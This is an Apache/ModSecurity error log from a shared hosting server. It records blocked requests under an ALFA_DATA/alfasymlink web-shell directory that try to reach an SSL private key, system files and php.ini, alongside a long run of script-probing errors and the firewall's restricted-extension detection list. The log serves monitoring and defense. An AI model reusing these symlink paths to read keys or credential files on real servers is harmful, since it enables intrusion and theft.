[Sat Oct 24 17:57:04.327432 2026] [security2:error] [pid 2677776:tid 2677776] [client 85.208.96.197:26844] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/asound.conf"] [unique_id "at0psGZJIyiQiKFtr2-7cQAAABU"]
[Sat Oct 24 17:57:04.327858 2026] [security2:error] [pid 2677776:tid 2677776] [client 85.208.96.197:26844] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/asound.conf"] [unique_id "at0psGZJIyiQiKFtr2-7cQAAABU"]
[Sat Oct 24 17:57:04.328207 2026] [security2:error] [pid 2677776:tid 2677776] [client 85.208.96.197:26844] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/asound.conf"] [unique_id "at0psGZJIyiQiKFtr2-7cQAAABU"]
[Sat Oct 24 17:57:06.158208 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.225.98.148:8633] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:57:10.188686 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 184.72.84.154:12633] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:57:18.179134 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 3.229.2.217:61003] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:57:34.133773 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.200.58.199:19021] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:57:46.251084 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.157.84.74:15645] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:57:50.303078 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.226.89.140:25223] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:57:54.145841 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.224.205.25:47086] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:57:58.167126 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.5.232.250:60063] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:58:02.312690 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.235.172.108:58148] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:58:06.337478 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.202.233.37:5955] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:58:26.141896 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.200.142.199:36143] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:58:50.155678 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.89.176.255:41637] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:58:52.728154 2026] [security2:error] [pid 2707162:tid 2707162] [client 185.191.171.1:18164] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c8ed1_33d1f_2dd5edde3e691021f82b0f4ccf9e98df.key"] [unique_id "at0qHHxUk1Q9Uwuht9UC0AAAAAE"]
[Sat Oct 24 17:58:52.728607 2026] [security2:error] [pid 2707162:tid 2707162] [client 185.191.171.1:18164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c8ed1_33d1f_2dd5edde3e691021f82b0f4ccf9e98df.key"] [unique_id "at0qHHxUk1Q9Uwuht9UC0AAAAAE"]
[Sat Oct 24 17:58:52.729007 2026] [security2:error] [pid 2707162:tid 2707162] [client 185.191.171.1:18164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c8ed1_33d1f_2dd5edde3e691021f82b0f4ccf9e98df.key"] [unique_id "at0qHHxUk1Q9Uwuht9UC0AAAAAE"]
[Sat Oct 24 17:58:54.329464 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 44.221.227.90:6189] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:1d/subsystem/drivers/button/LNXPWRBN:00/driver/uevent
[Sat Oct 24 17:59:02.153175 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 3.94.199.128:5764] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/pcieport/unbind
[Sat Oct 24 17:59:06.267881 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.243.63.52:23946] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:59:18.290365 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 54.197.82.195:65209] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:59:26.194033 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 35.169.240.53:32104] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:59:30.151358 2026] [ssl:error] [pid 2677776:tid 2677776] (22)Invalid argument: [client 18.215.112.101:14677] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:59:46.156693 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.222.190.107:48611] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:59:50.164231 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.208.223.68:52376] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:00:02.173683 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.213.240.226:23274] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:00:06.138641 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.163.136.244:42749] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:00:10.146535 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.213.213.161:1889] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:00:22.141461 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.54.95.127:6952] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:00:26.147276 2026] [ssl:error] [pid 2693034:tid 2693034] (5)Input/output error: [client 44.221.37.41:36064] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:00:34.137538 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 34.234.197.175:62386] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:00:38.149531 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 100.28.44.58:14843] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:00:46.154260 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 23.21.179.27:5171] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:00:54.136889 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 54.84.250.51:28795] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/crash_notes_size
[Sat Oct 24 18:01:02.167044 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.84.147.79:51147] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:01:10.190845 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 100.29.164.178:18963] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:01:13.013881 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 85.208.96.205:62104] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/ctor
[Sat Oct 24 18:01:14.189926 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.231.156.59:11404] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:01:18.310902 2026] [ssl:error] [pid 2677776:tid 2677776] (5)Input/output error: [client 44.193.102.198:62480] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:01:19.251407 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.210:23646] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_mrt_cache/alloc_calls
[Sat Oct 24 18:01:30.186439 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 23.22.105.143:23633] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:01:30.230200 2026] [security2:error] [pid 2707149:tid 2707149] [client 89.248.172.11:32014] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at0qujr66i8lbh-yPykBxgAAAAA"]
[Sat Oct 24 18:01:30.231104 2026] [authz_core:error] [pid 2707149:tid 2707149] [client 89.248.172.11:32014] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 18:01:38.186926 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.215.77.19:2361] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:01:50.159694 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 34.231.118.144:50348] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:01:51.611658 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:01:51.981784 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:01:52.387093 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:01:52.749909 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:01:53.112479 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:01:53.630046 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:01:53.995660 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:01:54.358894 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:01:55.113578 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:01:55.476953 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:01:56.570897 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:01:57.295375 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:01:57.692865 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:01:58.083455 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:01:58.445538 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:01:59.170941 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:01:59.546939 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:01:59.928540 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:00.376827 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:00.759316 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:01.124173 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:01.501884 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:01.865761 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:02.228080 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:02.676464 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:03.038777 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:03.435992 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:03.798566 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:04.162474 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:04.525506 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:04.890931 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:05.255288 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:05.618007 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:05.980581 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:06.373307 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:06.736231 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:07.120359 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:07.483179 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:07.846869 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:08.234606 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:08.598326 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:08.984010 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:09.375029 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:09.765840 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:10.184106 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.0.63.151:42107] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:02:10.229973 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:10.593142 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:10.972445 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:11.335202 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:11.697505 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:12.067693 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:12.438215 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:12.813377 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:13.183430 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:13.555997 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:13.918283 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:14.302273 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:14.665030 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:15.043638 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:15.406792 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:15.770399 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:16.134031 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:16.134619 2026] [security2:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "busca1.sherwinpinturas.com"] [uri "/fling.php"] [unique_id "at0q6Dr66i8lbh-yPykCCQAAAAA"]
[Sat Oct 24 18:02:16.134641 2026] [security2:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "busca1.sherwinpinturas.com"] [uri "/fling.php"] [unique_id "at0q6Dr66i8lbh-yPykCCQAAAAA"]
[Sat Oct 24 18:02:16.496450 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:16.858731 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:17.255886 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:17.664960 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:18.028376 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:18.146107 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.45.29.57:17361] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:02:18.391322 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:18.753807 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:19.120746 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:19.483201 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:19.851314 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:20.243951 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:20.629461 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:20.992010 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:21.393546 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:24.579161 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:26.915363 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:27.391133 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:27.775262 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:28.138566 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:28.547504 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:28.912444 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:29.290198 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 74.225.203.7:51407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:30.150191 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.214.138.148:30138] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:02:30.693934 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:31.071681 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:31.515675 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:32.189318 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
